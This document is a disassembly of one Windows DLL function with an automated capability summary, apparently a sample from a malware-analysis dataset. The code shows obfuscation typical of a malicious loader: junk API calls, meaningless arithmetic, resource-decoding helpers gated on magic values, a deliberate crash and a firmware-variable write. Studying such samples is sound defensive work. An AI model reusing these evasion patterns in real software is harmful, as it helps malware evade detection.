Function at 0x10013950
Capabilities:
Create directory
Extract resource via kernel32 functions
Get file attributes
Get file size
Get hostname
Read .ini file
Set uefi variable
Terminate thread
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x18], 1
cmp dword [ebp + 0xc], 0
jne 0x10013ac0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualLock]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessDEPPolicy]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleHistoryInfo]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
push 0
push 0
push 0
push str.iLcPgwU258k261M1o
call dword [sym.imp.KERNEL32.dll_FindFirstFileNameW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResultEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadpoolThreadMinimum]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
call dword [sym.imp.KERNEL32.dll_GetThreadUILanguage]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
push 0
push 0
push str.bo9nAp98qub7A7HEFSfl5DoGQ1zo
call dword [sym.imp.KERNEL32.dll_FindFirstStreamW]
push 0
call dword [sym.imp.KERNEL32.dll_CloseThreadpoolWait]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSize]
push 0
call dword [sym.imp.KERNEL32.dll_InitializeSRWLock]
jmp 0x100141ed
cmp dword [ebp + 0xc], 1
jne 0x100141ed
cmp dword [0x1012d104], 0x40747615
jne 0x10013c47
push 0
push str.Tba4a1r8lIH5DrZbt
call dword [sym.imp.KERNEL32.dll_LocaleNameToLCID]
push 0
push 0
push 0
push str.Ug6ipI36lKInNnVv7Yl
push 0
push str.54acW1HGPT7937iztoO
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProductInfo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 0
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNodeEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryExW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadDirectoryChangesW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableW]
push 0
call dword [sym.imp.KERNEL32.dll_PulseEvent]
call dword [sym.imp.KERNEL32.dll_GetActiveProcessorGroupCount]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapSize]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessIdOfThread]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolCleanupGroup]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadErrorMode]
push 0
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LockFileEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PurgeComm]
mov dword [ebp - 4], 0x1cbf
mov dword [ebp - 8], 0
mov eax, dword [ebp - 4]
add eax, 0x87
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 0xc98
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0
jmp 0x10013cab
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0x61
jge 0x10013cbc
mov edx, dword [ebp - 8]
add edx, 4
mov dword [ebp - 8], edx
jmp 0x10013ca2
mov eax, dword [ebp - 4]
sub eax, 0xbc
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, 0x251a
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, 0x35b
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, 0x1413
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, 0x26c1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 0x2560
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 0x3d8
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
sub eax, 0x1863
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 0x1d87
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, 0x20e5
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
push 0x15f
push 0x10011620
lea edx, [ebp - 0x38]
push edx
call fcn.1001b0b0
add esp, 0xc
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
call fcn.1001b320
add esp, 8
mov eax, dword [ebp - 8]
and eax, 0x80000003
jns 0x10013dbe
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x10013dd6
cmp dword [ebp - 8], 0
jle 0x10013dd6
mov ecx, dword [ebp - 8]
add ecx, 0x23e8
mov dword [ebp - 8], ecx
jmp 0x10013de2
mov edx, dword [ebp - 8]
sub edx, 0x23e8
mov dword [ebp - 8], edx
mov eax, dword [ebp - 4]
add eax, 0x11c1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, 0x2148
mov dword [ebp - 4], ecx
mov dword [ebp - 0x10], 0
jmp 0x10013e0b
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0x10
jge 0x10013e1c
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
jmp 0x10013e02
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, 0x2181
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, 0x13de
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, 0x750
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, 0x1266
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, 0x13a0
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 0x1d59
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 0xe09
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
sub eax, 0x18f4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 0x1dce
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 0xab3
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
sub eax, 0x10b2
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 0x1b77
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 0xadd
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10013efb
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x10013ee1
mov eax, dword [ebp - 4]
add eax, 0x1fd1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 0x18b0
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, 0x2440
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
sub eax, 0x25a1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 0xb1a
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x80000001
jns 0x10013f60
dec edx
or edx, 0xfffffffe
inc edx
test edx, edx
je 0x10013f6f
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
jmp 0x10013f50
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, 0x1a82
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10013fa6
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x10013f8c
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, 0x1dc9
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, 0x1e57
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], 0
jmp 0x10013feb
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], 0x47
jge 0x10013ffc
mov eax, dword [ebp - 8]
sub eax, 5
mov dword [ebp - 8], eax
jmp 0x10013fe2
mov ecx, dword [ebp - 4]
sub ecx, 0xdf6
mov dword [ebp - 4], ecx
push 0x14d
push 0x10009070
lea edx, [ebp - 0x40]
push edx
call fcn.1001b0b0
add esp, 0xc
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
call fcn.1001b320
add esp, 8
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov dword [ebp - 4], eax
push 0x16d
push 0x10009f30
lea ecx, [ebp - 0x48]
push ecx
call fcn.1001b0b0
add esp, 0xc
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
call fcn.1001c210
add esp, 8
mov dword [ebp - 0x18], eax
mov ecx, dword [0x1012d104]
xor edx, edx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x30], 0xd662cb98
jne 0x100141ed
cmp dword [ebp - 0x2c], 0
jne 0x100141ed
call dword [sym.imp.USER32.dll_GetOpenClipboardWindow]
push 0
push 0
call dword [sym.imp.USER32.dll_EqualRect]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamW]
push 0
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push 0
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DlgDirListW]
push 0
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetPropW]
xor eax, eax
lock inc dword [eax]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommMask]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DdeQueryStringW]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetSysColors]
push 0
push 0
call dword [sym.imp.USER32.dll_SetParent]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetMenuItemInfoW]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x20], edx
push 0
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ChangeWindowMessageFilterEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SleepConditionVariableCS]
push 0
call dword [sym.imp.USER32.dll_DdeUninitialize]
push 0
call dword [sym.imp.KERNEL32.dll_DisassociateCurrentThreadFromCallback]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNodeEx]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
push 0
call dword [sym.imp.KERNEL32.dll_SwitchToFiber]
push 0
call dword [sym.imp.USER32.dll_GetMenu]
push str.gx3WtYtuit1r3Py7WA6y
push 0
push 0
push str.mEXLd6JXLDSbQ52ncanLBVElt
push 0
push 0
push str.M8Uu34466gFtvgKLAhSd2SlB5JJu
call dword [sym.imp.KERNEL32.dll_GetDateFormatEx]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
call dword [sym.imp.KERNEL32.dll_FlsFree]
push 0
call dword [sym.imp.USER32.dll_GetCursorPos]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetInformationJobObject]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_ChangeWindowMessageFilterEx]
mov eax, dword [ebp - 0x18]
mov esp, ebp
pop ebp
ret 0xc